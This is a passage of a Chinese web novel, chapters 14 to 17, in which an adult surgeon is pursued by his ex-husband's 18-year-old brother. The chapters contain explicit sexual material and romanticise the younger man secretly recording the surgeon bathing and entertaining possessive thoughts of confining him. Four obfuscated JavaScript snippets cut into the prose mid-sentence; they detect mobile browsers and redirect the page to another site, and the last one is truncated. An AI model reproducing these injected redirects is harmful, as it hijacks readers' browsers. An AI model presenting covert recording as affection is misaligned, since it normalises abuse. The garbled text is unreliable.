许酌点了下图片。 图片缩小,露出丞弋后面发过来的文字。 [许酌哥,夜宵你吃了么?] 读完这条微信,许酌忽然笑了。 这叛逆少年刚才还格外冷酷地说不想吃可以丢掉,现在又小心翼翼来问。 为了不让叛逆少年在家偷偷掉眼泪,许酌还是温和回复:[现在还不饿,等下吃。] 想了想,又发:[谢谢小弋,小弋辛苦了。] 丞弋:[许酌哥,我不想要口头感谢。] 许酌:[知道了,我明天休息,带你出去吃好吃的] 丞弋:[那许酌哥可以顺便亲我一下么?] 丞弋:[或者抱我一下也可以。] 丞弋:[我今天有一点难过。难过.jpg] 许酌:[不要闹,早点休息。] 或许是岑嘉祯拜过的夜班之神眷顾,也或许是丞弋送来的东西起了效果。 总之,一夜平安。 这是许酌值过最轻松的夜班了。 值班结束,许酌没有直接下班回家。 今天周三,心外科两个组要一起大查房。 两位主任带头一起查,从GICU查到普通病房。 查房结束,还有手术交流会要开。 讲解一下这周比较有困难的手术方案及操作。 会议结束,许酌这才换衣服准备回家。 结果刚出办公室的门,周黎安就追出来喊住许酌,“许酌。” 许酌回头,“嗯?” 周黎安走到许酌身边,“走吧,我送你到电梯口。” 许酌莞尔一笑,“师兄是怕我熬夜熬糊涂了找不到电梯么?” 当然不是。 周黎安没有掩饰自己的目的,直接问,“许酌,我听说神外余主任昨天过来给你送夜宵了?” 这话一出许酌就知道周黎安要说什么了,无奈一叹,“护士站这几个小姑娘。” 周黎安看着他,透明镜片下的目光有些急切,“所以,你是已经开始跟余主任接触了是么?” 作为一个被拒绝过的失败追求者,周黎安也算见证了许酌和丞敛从相爱走到结婚,再从结婚走到离婚的过程。 这个过程不算长也不算短,但刚好占据在许酌最珍贵的成长阶段里。 所以他很清楚,要让许酌在这么短的时间里就忘记丞敛转而开始一段新的感情,那必然是不太可能的。 所以他只能耐心等待。 但让他没想到的是,他的耐心没先换来许酌多看他一眼的机会。 反倒是给了别人捷足先登的机会。 周黎安不允许这种情况发生。 许酌淡声说,“没有的事,我已经跟余主任说明我暂时没有想开始一段感情的想法了。” 言下之意也是在拒绝周黎安。 周黎安听出来,非但没有失落,反而还愉快笑了笑,“那就好,我还担心我又一次错过你。” 话说到这里,许酌安静两秒,抬眼看他,“师兄,你.......” 周黎安明白他要说什么,没给他把话说完的机会,玩笑似的出声制止,“师弟你别担心,在你没调整好状态之前,我是不会让你为难的,所以你也别提前让我红牌退场,好么?” 许酌还是坚持把话说完,“师兄,你真的别拿我开玩笑了,我们医院的青年才俊大有人在,你还是不要把时间浪费在我一个离过婚的人身上了。” “追喜欢的人不算浪费。” 周黎安话音落下电梯刚好到达,他抬手挡住电梯门,轻推着许酌走进去,“好了,你快回家休息吧,周一见。” 电梯里有很多人,许酌没了延续话题的机会,轻叹说,“再见。” 到家刚好十一点。 许酌用指纹解锁,刚拉开门就迎面传来一声,“许酌哥你回来啦!” 许酌抬眼看过去,玄关口站着丞弋。 丞弋穿着白色短袖搭配蓝色牛仔裤,色调干净又青春。 与之相违和的是,他身上还穿了一件黑红色的卡通围裙。 这件围裙莫名给他添了一层很浓重的居家气息。 许酌一边换鞋一边问他,“你怎么又在做饭,作业写完了么?” 丞弋走过去把他手里的保温袋接过去,重量很轻,只有一个空饭盒的重量,他开心问,“许酌哥有好好吃完我送的夜宵么?” 许酌笑了下,精致的眉眼里略显疲惫,“这位同学,你好像很喜欢不答反问啊。” 丞弋抿唇,这才乖声回答:“作业还没写完,但我已经写一上午了,就想做个饭休息一下,那许酌哥你是先洗澡还是先吃饭?” 许酌摆手,“我不吃了,等下你自己吃吧,我想洗个澡直接回房睡觉了。” 丞弋也没失落,点头说,“好,那等下我把饭给许酌哥留出来。” 许酌抿唇笑,“好,谢谢小弋了,那我先进去洗澡了。” 丞弋拉住他的手,没让他进浴室。 许酌抬眼,“怎么了?” 丞弋垂眸和他对视,一双黑眸里却显出几分偏执。 许酌哥没回答他刚才的问题。 但看着许酌眼底的困倦,丞弋还是克制住了那阵不安的偏执,只是乖笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207398|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“没事,我就是想问问许酌哥需不需要我帮你洗澡,我看许酌哥好像随时都能睡着的样子。” 许酌没说话,安静和丞弋对视。 虽然丞弋眼底的那片偏执只是一闪而过,但因为过于浓郁的原因,所以还是被许酌清楚捕捉到了。 但他没说什么,只是轻轻拨开丞弋的手,“我谢谢这位好心的小朋友,但不用了,你还是继续去做你的菜吧。” 被拒绝的丞弋并没有露出什么不满的表情,反而神色乖乖,“好吧,那许酌哥快去洗澡吧,我去炒菜了。” 等人转身走了,许酌松了口气,之后便转身进浴室洗漱去了。 很快洗漱好出来,许酌径直回房。 路过厨房时,他看着丞弋正在切菜的身影说,“小弋,那我回房休息了。” 丞弋抬头,“好,许酌哥好好休息,我做饭会轻一点的。” 许酌说,“没事,你随意就好,这点声音不影响我睡觉。” 而他刚回卧室不久,丞弋就放下了手中的菜刀,从厨房走了出来。 他来到玄关。 拿起他偷偷放在鞋柜上的手机。 屏幕上赫然是正在录音的界面。 丞弋一边按下红色键结束录制,一边转进洗手间关上门。 许酌刚结束洗漱,洗手间里的热气还没完全消散。 丞弋站在氤氲雾气中,闻着湿迷的香气。 点开手机里刚刚保存下来的录音。 鞋柜正对着洗手间门口,玻璃门板的隔音效果略等于无。 于是。 手机里流露出的声音就显得格外清晰。 录音的最开始是一阵悉悉索索的动静。 那是许酌哥脱衣服的动静。 丞弋闭着眼睛,脑子里浮现出许酌脱衣服的画面。 许酌哥先脱上衣,他今天穿了一件黑色的T恤。 白皙修长的手抓着黑色的T恤下摆,然后慢慢往上撩,露出玉瓷一样白润的上半身。 衣领穿过头顶,带乱许酌哥乌黑的发。 也让他整个人更显迷乱。 放下衣服,许酌哥又开始脱裤子。 黑色的布料缓缓褪下,最先露出的一定是裹着贴身布料的圆润饱满。 接着顺延而下的是偏瘦却又不失肉感的大腿、笔直修长的小腿。 最后是漂亮精致的脚腕。 脱下的裤子被放在一旁。 许酌哥开始脱袜子。 他见过许酌哥的脚。 如果说许酌哥不常见光的脚白得像雪,那许酌哥修剪整齐的圆润脚趾就似雪中粉梅一样。 漂亮得想让人一口口吃掉。 脱完袜子,许酌哥往浴室隔间走。 听到隔间门被关上的声音,丞弋睁开眼。 许酌哥没有□□。 看来许酌哥是习惯在洗澡的时候顺手把内裤洗掉。 正想着,不规则的水流声顺着手机的喇叭流泻到空气中。 大概是太困了,许酌哥的洗澡速度有些快。 但仍有条不紊。 他先洗脸,然后洗头发。 接着搓沐浴露涂抹身上,蓬松的泡沫均匀地涂抹在许酌每一寸肌肤.......这一刻,丞弋真的嫉妒死那些该死的泡沫了。 贴在许酌细腻肤肉上的是他的手该多好。 他会耐心又轻柔、一寸一寸地帮许酌哥清洗。 许酌哥长时间做手术,又长时间在医院来回跑,他会在涂抹沐浴露的同时给许酌哥按摩小腿......柔滑又细软的小腿。 不小心按重了,还会引得许酌哥轻哼一声。 攥着手机的手隐约浮现出可怖的青筋。 然而还不等这阵燥热的火势彻底爆发出来,丞弋猩红的目光就猛地定格在浴室隔间里了。 浴室的墙角装着一个双层的黑色置物架。 置物架的下方坠着几个可移动挂钩。 现在,最左边的挂钩挂着白色的浴球。 最右边则挂着一条蓝色内裤。 是许酌哥的内裤。 应该是忘记洗了。 丞弋弯起唇,泛着猩红的眸底燃起强烈的兴奋。 许酌哥值夜班真的太辛苦了,他不能帮许酌哥洗澡已经很内疚了。 好在,他现在可以帮许酌哥洗内裤。 丞弋放下手机,进浴室隔间把许酌的那条内裤拿出来。 (缺了一段,待补。) 享受被许酌哥的气息包裹住的感觉。 享受这种随时都会窒息在许酌哥身上的感觉。 享受许酌哥带给他的一切。 好喜欢许酌哥啊...... 越来越喜欢许酌哥了....... 怎么办怎么办.......他真的好想现在就冲进许酌哥的房间,把许酌哥翻来覆去吃干抹净。 这样,许酌哥就可以永远只属于他了。 而他也可以以男朋友的身份禁止许酌哥跟除他以外的任何男人说话。 特别是医院那几个该死的。 15. 第 15 章 15 许酌这一觉睡得并不好。 又燥又热。 才睡到下午四点就醒了。 他睁开眼,窗外的天色已经昏暗了下来。 缓缓眨了眨眼睛,他翻个身拿来手机。 确定手机上没有错过医院的电话,他放下手机重新躺平。 过了会,他撑着胳膊从床上坐起来。 垂眸望着不平整的被子。 被子下的景象他看不到,而他也不需要看。 毕竟那是他自己的状态。 算算日子,他和丞敛才正式离婚一个多月。 但其实,他和丞敛在离婚之前就已经很久没有做过了。 而他,又是个很享受做|爱、且需要做|爱的人。 感情最浓烈的时候,他能缠着丞敛做到天亮。 而每次结束,他都像被得到灌溉的绿植一样生机勃勃。 丞敛说他是吃不饱的妖精。 只有许酌知道,他是因为从小没从父母身上得到过足够的陪伴。 所以形成了一种缺爱的心理饥渴。 父母时不时的关心解决不了这种饥渴。 后来的拥抱和亲吻也解决不了。 但浓烈的性|事可以。 可现在,他跟丞敛离婚了。 也就没人可以帮他解决这种饥渴了。 默默叹了口气,许酌起身去了浴室。 十几分钟后,许酌洗漱好出来。 他身上的睡衣换成了灰色的浴袍,松散的领口露着一片覆着水珠的胸口。 走动间,领口处还隐约露出一点湿润的粉红色。 乌黑的发丝也是没干透的状态。 太热了。 许酌自己动手只能解决掉表面的躁动。 而身体更深处的燥热是需要借助玩具的。 家里倒是有玩具。 但大白天他不想这么麻烦。 而且现在房子里还住着一个高中生。 他不想因为他自己的欲|望而影响到高中生的身心健康。 所以他只能先忍着了。 去衣帽间换好衣服,许酌打开卧室门走出去。 在客厅餐桌写作业的丞弋听到动静回头,和穿着睡衣的许酌对上视线。 许酌一身柔软,眼睛湿漉漉的,头发半干,显出几分湿乱。 一张脸不知道是不是刚洗过澡的原因,粉晕晕的。 整个人看上去欲得要死。 丞弋眼底立即热起来,“许酌哥,你睡好了么?” “嗯。”许酌走过来看了眼铺在桌上的几张物理卷子,“你下午一直在写作业?” 丞弋没回答,起身朝着许酌走近一步。 许酌不自觉后退,“怎么了......” 话还没说完,丞弋就拉着他的手腕不让他退。 然后俯身,将鼻尖凑到许酌脖颈处细细轻嗅着。 许酌身上有刚洗过澡的湿热香气。 而这阵香气中还带着一点微不可察的甜腥。 丞弋很熟悉这抹腥味,眼底立即暗下来。 刚才。 在一门之隔的主卧里。 许酌哥偷偷纾解了自己。 而他,什么都不知道。 也什么都没听到。 丞弋忽然有些后悔乖乖在客厅写作业。 也有些生气。 气许酌哥竟然没找他帮忙。 颈间被丞弋蓬松的头发触得有些痒,许酌不自在偏了下头,同时抬手推开丞弋,“你是小狗么,闻什么呢。” 说话时,许酌有几分心虚。 他担心丞弋这孩子闻出什么。 但转念一想又觉得应该不会,他洗完澡仔细闻了闻,确定没什么味道了才出来的。 丞弋不可能真的闻到什么。 丞弋看出许酌的担心,也没故意拆穿让他的许酌哥难堪,只是收紧了攥着许酌手腕的力度,问他,“许酌哥,你饿不饿?” 他早该想到的。 丞敛那傻逼滚了这么久,许酌哥一定早就饿透了。 是他不好。 他不该这么乖的。 他该先把许酌哥一次性喂饱,然后再慢慢追人的。 许酌迎着丞弋的目光,他那双漆黑的眼眸犹如深渊,对视时根本看不到底。 但那阵熟悉的侵略感却再一次围绕着他笼罩了下来。 许酌有些莫名,他不知道自己又哪里惹到了这个青春期的大男孩,无奈挣了挣手腕,但没挣开。 他轻叹,“我还不饿呢,你先松手。” 丞弋没松,又逼近许酌一分,“许酌哥,你真的不饿么?” 快说你饿了。 这样我就可以喂饱你了。 不管你想吃什么,我都会喂给你的。 许酌哥你快说.....快说啊。 许酌还不知道丞弋的脑子里在急什么,见他逐步逼近,后仰着和他拉开距离,无奈笑,“小弋,我刚睡醒真的不饿,但你再继续攥下去我的手腕可能就要断了。” 到底是十八岁的高中生了,力气是真的大。 攥得他腕骨都有些隐隐发疼了。 丞弋也意识到自己用力过度了。 可他不想松开。 不仅不想松开,还想用更大的力气把他的许酌哥紧紧抱住。 许酌哥身后就是沙发,他想把许酌哥推进沙发里。 然后。 狠狠地。 操。 他。 但最终,丞弋还是缓缓松了力气。 他不能那么对许酌哥。 许酌哥家教良好,温柔又有礼貌。 他不可以强迫那么好的许酌哥。 也不能做许酌哥不喜欢的事情。 虽然他很想。 腕上的束缚没那么紧了,许酌轻轻一挣就挣开了。 他看见,离开他手腕的那只手无力下垂。 好像充满了失落。 许酌以为丞弋又在失落他不吃他做好的午饭,活动着手腕说,“小弋,我没有不想吃你做的饭菜,我是准备带你出去吃的。” 丞弋没接话,目光黏在许酌的手腕上。 许酌皮肤薄,手腕被狠狠攥过后,浮现出几道显眼的红痕。 那红痕勾得丞弋眼底的烈火呈现出几分扭曲的模样。 只是这点力气就让许酌哥受不了了。 那如果他使出全部的力气,许酌哥岂不是要直接哭出来了? 丞弋缓缓移动黑眸,去迎许酌的视线。 许酌见他发呆,还以为他忘了,不由得笑,“你忘了呀,我昨天在微信上跟你说过的。” 丞弋当然没忘,只是和能直接吃到许酌做对比,就显得和许酌吃饭有些索然无味了。 好在他很快调整好心态,明白心急是什么都吃不到的,就直直凝着许酌问,“就我和许酌哥两个人么?” 许酌弯起眼睛,“不然你还想喊谁?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207399|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 即将落下的太阳在天边形成一片橙黄的光。 这片光影透着玻璃撒进客厅,落在许酌精致的眉眼,为他弯起的笑眼裹上一层蜜糖似的滤镜。 温柔极了。 也恬静极了。 更想吃许酌哥了。 想把他的温柔吃乱,吃湿。 “不想喊谁。”丞弋心底热得难受,忍不住地去拉住许酌的手,拇指在他滑软的手背上克制着摩挲,“我就想跟许酌哥两个人。” “这样,就好像我们在约会一样。” 如果吃到一半许酌哥忽然又来了兴致那就再好不过了。 这样他就有机会伺候许酌哥了。 不管是用手,还是用嘴巴。 他都可以。 因为这些事他早在脑子里演练过不知道几万遍了。 只等许酌哥朝他勾勾手,他就会迫不及待地爬过去。 许酌自动忽略丞弋的后半句,收回手正色说,“这位小朋友,说话的时候动手动脚可不是个好习惯。” 丞弋认错态度很好,“我错了许酌哥,我以后会改的。” 许酌笑一下就算原谅他了,“那你作业写完没?” 丞弋说,“还有最后两道大题就写完了。” 许酌嗯了声,“那你先写,写完我们再出去。” 说完准备去餐边柜倒杯水喝,转脚时抬眼,目光在略过阳台时顿了一下。 快要睡着的时候,他忽然想起他的内裤忘在浴室没有洗。 但那时候又实在起不来,就准备等睡醒再洗的。 结果,那条被他忘在浴室的内裤此刻已经挂在阳台上了。 许酌眨眨眼,回头问丞弋,“你帮我洗的内裤?” 丞弋点头嗯了一声,“我去洗手间的时候刚好看到,就顺手帮许酌哥洗了。” 许酌沉默。 内裤是一件很私密又自带羞耻感的东西。 饶是许酌曾和丞敛那样亲密无间,他们也从来没帮对方洗过内裤。 而现在,他的内裤却经了丞弋的手。 丞弋的手揉搓过他的内裤......许酌只要一想到这个画面,他就有种自己玷污了丞弋的负罪感。 毕竟丞弋还是个没经历过人事的孩子。 许酌有些不知道该说什么,思索了好一会才抿唇开口,“好吧,这次就谢谢小弋,但再有下次的话你放着别管就行了,我想起来会来自己洗的。” 丞弋蹙着眉做可怜状,“怎么了?许酌哥是觉得我洗得不干净么?” 许酌委婉解释,“不是,我是担心麻烦你。” “不麻烦的。” 丞弋垂着眼,黑沉的目光紧紧缠着许酌,“我很愿意给许酌哥洗内裤。” “洗一辈子都可以。” 少年人的一辈子张口就来,许酌觉得轻浮又不切实际,根本没准备把这句话听进心里去。 可丞弋缠人的目光却好似带着某种蛊惑。 有那么一瞬,许酌居然真的幻想起他和丞弋的一辈子会是个什么样子。 但还没想出个具体画面,许酌就清醒地回过神来,接着快速移开目光,“你还是先写完你的家庭作业吧,幼稚的高中生。” 说完转身就往餐边柜走了。 丞弋的目光追着他,眼底的偏执仿若兴奋的蛇尾一样,将许酌从头包裹到脚。 许酌哥没有拒绝他提出的一辈子。 所以。 许酌哥是不是已经开始喜欢他了? 16. 第 16 章 16 许酌晚上带着丞弋去了滨江区吃了一家老牌家常菜。 吃完饭,两人沿着江边散步。 今天周日,夜风温度适宜。 江对面又恰好有灯光秀。 所以江边人很多。 许酌带着丞弋走进热闹的江道上,神色放松,“好久没来这边看过灯光秀了。” 江对面的灯光秀绚丽绮丽,许酌走进江道就一直看着对面。 丞弋没看。 他对灯光秀这种光污染没什么兴趣,目光一直黏在许酌脸上。 江道两旁的灯光是微醺的暖黄色调,映落在许酌身上,似朦胧棉纱一样,让他看起来柔软得不像话。 一双倒映着变幻灯光的眼睛更是漂亮得无法言喻。 他手里捧着一杯热果汁,说话时小口啜饮一口。 吸管移开时,他饱满的下唇残留一点湿润的汁液。 此时映着灯光,就仿若盈盈浆果。 无端诱惑着注视着他的人。 丞弋喉结重重滚了一下。 想舔。 许酌没注意到丞弋喉结滚动的细节,见他的目光一直落在自己身上,手动推了下他的脑袋,“看我干什么,看对面的灯光。” 丞弋不听话,又转回来,同时拉下许酌的手不松不紧地握在手心里,“许酌哥比灯光好看。” 许酌习惯了他这种直白,没理会,垂眼看着丞弋的手,“你下午在家怎么答应我的?” 话音落下还不等丞弋说什么,两人面前就忽然跑来一个扎着马尾辫的小女孩。 那小女孩大概也就六七岁,一手捧着几只单独包装好的红玫瑰,一手拉着许酌的衣角甜甜开口,“哥哥哥哥,买支玫瑰花送给漂亮哥哥吧。” 江边人多,自然就有很多这种卖玫瑰花或是卖气球这类可爱小东西的商贩。 许酌见怪不怪,温笑着说,“小妹妹你误会了,这是我弟弟,他不收玫瑰花的。” 丞弋握紧许酌的手,“我收的。” 许酌抬眼看丞弋,用眼神示意他不要捣乱。 丞弋却坚持,“哥哥,买一支送我吧。” 小女孩也是很机灵,见状推销的更加积极了,“哥哥你快给漂亮哥哥买一支吧,我的玫瑰花不贵的,一支才五块钱。” 丞弋也跟着添油加醋,晃着许酌的手,“哥哥。” 小女孩晃着许酌的衣角,“哥哥你买一支吧。” 许酌架不住两个小东西这样磨他,无奈叹,“好好好,我买一支。” 小女孩立即笑起来,“谢谢哥哥!这是我的二维码,微信支付宝都可以!” 许酌看着丞弋,“可以先松手了么?我要拿手机付钱。” 丞弋弯起唇角笑,同时松开许酌的手。 许酌拿手机付钱,付完,他看着丞弋,“那你自己选一支吧。” 丞弋不动,眼睛乖乖看着许酌,“我要许酌哥给我选的。” 为了不耽误小女孩的时间,许酌随手选了一支红玫瑰出来。 等他选完,小女孩开开心心道了声谢就跑开了。 许酌把玫瑰花递给丞弋,“给。” 淡淡的玫瑰香气被夜风吹拂着送往丞弋鼻尖。 丞弋不喜欢这个味道。 但看着许酌那只握住玫瑰花枝的纤白净手,漆黑的眸底还是涌现出一阵比红玫瑰还要灼烈的愉快。 “许酌哥,这算不算你送给我的定情信物?” 许酌轻笑,“我送你最多就是哄小孩。” 丞弋也不介意又被许酌当成了小孩,笑着接过,用的还是双手,“那正好,我喜欢我被许酌哥哄。” 他神色格外珍重,像是在捧一件易碎的无价珍宝。 许酌把他煞有其事的珍重神色尽收眼底,却没多说什么,收回手说,“走吧,我们继续去前面走走吧。” “嗯!”丞弋跟上许酌想继续去牵他的手。 转念想到许酌哥刚才的正色表情,就忍住了。 不能牵手虽然有些遗憾,但他还是紧贴着许酌的肩膀说,“许酌哥,这下我们真的像在约会了。” 要是许酌哥同意他牵手就更好了。 许酌看着难掩笑意的眉眼和弧度向上的唇角,没说话。 丞弋还沉浸在收到许酌哥送他玫瑰花的喜悦里,并没发现许酌眼底的复杂。 穿过最佳观看灯光秀的热闹区域,许酌这才觉得耳边清净了很多。 看到临近江边的街道上有一张空长椅,许酌跟丞弋说,“走累了吧,我们去那边坐坐吧。” 丞弋当然是毫不犹豫答应,“好。” 两人沿着江边坐下,感受迎面吹来的江风。 许酌在微凉的江风中随意开了话题,“小弋,你想好高考报什么志愿了么?” 丞弋说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207400|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还没想,准备在本地大学随便报一个。” 云城因为近几年的高速发展,也算得上新一线城市了。 虽然和一线城市有一字之差,但教育水平也是国内数得上名次的。 不过具体还要看读什么专业。 像许酌读的医院专业,除了京大也就属云大了。 而京大太远,回家一趟的飞机都要两个多小时。 许酌觉得麻烦,就选择了本省的云大医学系。 但丞弋就不一样了,他还没选好专业就贸然选学校的话多少有些草率了。 也对自己的未来过于不负责了。 许酌以一个家长的身份正色说,“小弋,你大学的专业关乎你未来的就业方向,不能这么随便的。” 丞弋就说,“可我不太懂这些,不然许酌哥替我选一个?” 许酌问他,“那你有什么特别感兴趣的事情么?” 丞弋摇头,“没有。” 许酌惊奇,“怎么会没有?你对以后想要从事的职业没有任何规划么?” 丞弋想了想,说,“想过做医生。” 他看着许酌,“这样就可以跟许酌哥一起上下班了。” 许酌轻叹,“小弋,你未来的从事职业一定要是你自己喜欢的,不能是因为别人。” 丞弋目光灼灼,“可我只喜欢待在许酌哥身边。” 许酌沉默。 丞弋也安静看着许酌。 夜风徐徐吹在两人中间。 等许酌终于忍不住眨了下眼睛,这才有些发愁地开口,“小弋,我只是一个普通人,你不能把我当成你未来的风向标。” 丞弋摇头,“我没有把许酌哥当成我未来的风向标。” 他说,“我是把许酌哥当成我的未来。” 少年的眼底浮动着江面倒映过来的波光。 颤颤闪动时,汇成丝丝缕缕的光线,似是要把眼前人整个都缠进他眼底去。 许酌招架不住这样的目光,转头移开。 几秒后。 他又转回来,继续和丞弋对视,“小弋,你成年了对吧。” 丞弋点头,“嗯,我已经过完十八周岁的生日了。” 许酌点头,“好,那我们现在就以成年人的身份谈一次成年人的话题吧。” 丞弋没说话了。 他直觉许酌接下来要聊的内容不会是他喜欢的话题。 17. 第 17 章 17 许酌也没等他给出回应,直入主题,“丞弋,你知道你哥之前追了我多久么?” 提到丞敛,丞弋有些心烦。 但还是配合回答,“不知道。” 他只知道丞敛在大学期间有段时间很像发||情的公狗,动不动就对着手机傻笑。 许酌笑着告诉他,“他追了我两年四个月,是那些说喜欢我的一群人里追的最久的。” 丞弋不屑,才两年四个月而已。 他从十一岁见到许酌哥的第一面就开始喜欢他了。 要不是丞敛那个傻逼每天都像狗皮膏药一样黏在许酌哥身边,他早就开始追人了。 一想到他的许酌哥被丞敛那个该死的霸占了那么久,丞弋就恨不得丞敛这一秒就去死。 趁着许酌的视线没在他身上,丞弋根本不掩饰自己眼底阴冷的怨恨,“但你们还是离婚了,不是么?” “是啊。”许酌抿唇笑了一下,但笑意未达眼底,“我们还是离婚了。” 曾经手捧着手许诺过的一辈子。 最终还是溺亡在了时间的长河中。 不过许酌并没跟丞弋去回忆这些,只是转回视线看着他,“那你知道我们为什么离婚么?” 丞弋移开目光去看江面,不让许酌发现他眼底的幽怨,“不知道。” 但你们能离婚我很高兴,不然我只能做小三了。 丞弋在心里又补了一句。 许酌也侧过头去看波动不止的江面,“因为我们都长大了,而之前的那喜欢又过于年轻了。” 听到这里,丞弋终于反应过来许酌今天的重点了。 他不说话,只是缓缓移回视线,将目光定格在许酌脸上。 两人对上视线,许酌眼里这才有了笑意,“所以啊小弋,我已经不年轻了,没有年轻的喜欢可以去回应你了。” 丞弋还是沉默。 几秒后,他低头,骨节分明的手有一搭没一搭抚弄着红色的花瓣。 这一幕落在许酌眼里,像极了埋头难过的小孩子。 许酌有些不忍心,抬手揉了揉他的头发,“但你还年轻,还有很多可能,你可以试着把目光放到同龄人身上,或许你就会发现你其实并不喜欢我这么大年纪的人。” 而且啊小弋,你有没有想过,你可能只是因为比较依赖我,所以才把那种依赖误当成了喜欢.......许酌在心里这样想,但他没直接说出来。 不管丞弋的喜欢是不是由这种依赖转变而来的,他都不能直接说出来。 这样太伤害丞弋了。 而且也很不尊重他的喜欢。 丞弋还是不说话。 许酌也不催他,他知道丞弋需要时间消化。 只是轻轻拍了拍丞弋的后脑勺,“小弋,你能喜欢我我很开心,但作为哥哥,我还是希望你能找一个和你更相配的。” 说完,他收回手起身,准备让丞弋一个人好好想想。 结果刚站起来。 手腕就一只大手紧紧攥住。 江风已经开始转凉了,可紧贴着手腕的掌心却带着让人胆战心惊的热。 许酌垂眼去看丞弋。 丞弋缓缓抬起眼。 两人隔着夜风对视。 长椅附近没有路灯,灯光秀的绚丽灯光也落不到这边。 即便如此,许酌还是清晰地看到丞弋眼底涌出的湿润泪光。 他抬眼时,一滴透明的泪刚好溢出眼角,顺着脸颊下滑。 许酌没想把孩子惹哭的,心下忍不住跳了一下。 “许酌哥。”丞弋喊他,浓重的鼻音里充满了酸涩。 顺着江风落进许酌耳朵里,许酌只觉得心口仿佛被塞了一颗还未熟透的青苹果。 让他顿觉既苦又涩。 “傻不傻,哭什么。”许酌连忙用另一只手帮他擦去眼泪,试图抚平他的情绪。 丞弋也用另一只拿着玫瑰花的手覆盖在他手背上,不给许酌离开的机会。 “许酌哥是开始喜欢周医生了,还是准备跟余主任在一起了么?” 贴在丞弋脸颊上的手心刚好接住他落下的眼泪,许酌手心被烫到似的紧了一下,“没有的事,你别乱想。” “那许酌哥为什么突然拒绝我?”丞弋眨着湿黑的睫毛,又挤出两滴热泪,“是我这几天哪里不乖了么?” 他明明已经很乖了。 他明明已经非常努力地克制自己了。 为什么许酌哥还是提前准备好了拒绝他的说辞? 难道一定要把许酌哥关起来他才会乖么? 许酌继续帮他抹泪,“不是的,你很乖的,是我之前没把你的喜欢当真,所以没能认真处理,今天就想跟你好好说清楚,免得耽误你,你别哭了。” “所以许酌哥就用你和丞敛哥的失败来直接否定我的感情么?” 许酌关心则乱,没发现丞弋说这话时,湿润的眼底骤然涌现出的阴湿郁气。 那个眼神,似是想把丞敛狠狠地撕成碎片。 许酌只是解释,“我没有否定你的感情,我只是在告诉你,我这个年纪和你这个年纪真的不合适。” “那谁合适?”丞弋吸了吸鼻子,委屈死了,“是周医生?还是余主任?” 许酌觉得这孩子有点钻牛角尖了,放轻声音说,“小弋,和谁合适这个是要看缘分的,你现在这样问我我没办法给你答案。” “那许酌哥怎么就这么确定这个缘分不会是我?” 他说话时,许酌感觉手腕上烫人的力度被收紧了。 他感觉到了一点疼,微不可察蹙了蹙眉。 而下一秒,他手腕上力度就骤然松开了。 许酌松了一口气,“你还太小,我不能.......” 一口气还没松到底,眼前的丞弋正慢慢从椅子里起身。 许酌的目光随着他站起来的动作而移动。 等视角呈现出一个仰视的角度了,许酌这才后知后觉地发现,原来丞弋已经比他高出那么多了。 “许酌哥,我不小。”丞弋向着许酌走近一步。 距离拉近,丞弋身高带来的压迫感也如同阴影一般将他笼罩其中。 许酌下意识后退。 丞弋继续逼近,“我已经19厘米了,不出意外的话我应该还可以继续发育。” 许酌一时没反应过来,“什么?” 他还在后退,但后腰已经被冷硬的质感抵住了。 回头一看,身后已经没了退路。 他身后是冰凉的石栏。 再看身前,丞弋已经像一堵墙似的站在了他的身前。 “我的尺寸,许酌哥不相信的话,等下回家可以给你看看。”丞弋顶着一张满是泪痕的脸委屈脸,说出口的话却胆大无边。 许酌安静了好几秒才反应过来丞弋在说什么,登时脸皮发热,“你这孩子你乱说什么呢!” 丞弋蹙着湿润的眼睛说,“不是许酌哥先说的么?” “我是说你的年龄小,没说你......”许酌没好意思对着丞弋说出那两个字。 丞弋见他说不下去,适当打断他,“我是说,不是许酌哥要以成年人的身份跟我谈成年人的话题么?” 许酌:。 许酌解释,“我没有要谈这么成人的话题。” “谈也没事的。”丞弋说,“许酌哥想跟我谈多成人的话题都可以。” “但是。” 丞弋红润的眼睛紧锁着许酌,“我有个问题想问许酌哥。” 许酌仰头看着他,等着他问。 丞弋开口,“许酌哥在以成年人的身份跟我谈拒绝之前,有以看一个成年男人的目光来看过我么?” 许酌沉默。 丞弋替他回答,“你没有。” 随着话音落下的同时,他眼角刚好也有泪滴落下来,“许酌哥从来没把我当成一个男人来看待。” “在你眼里,我永远都是一个小孩子,一个还需要写家庭作业的高中生。” 他越说越委屈,眼眶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 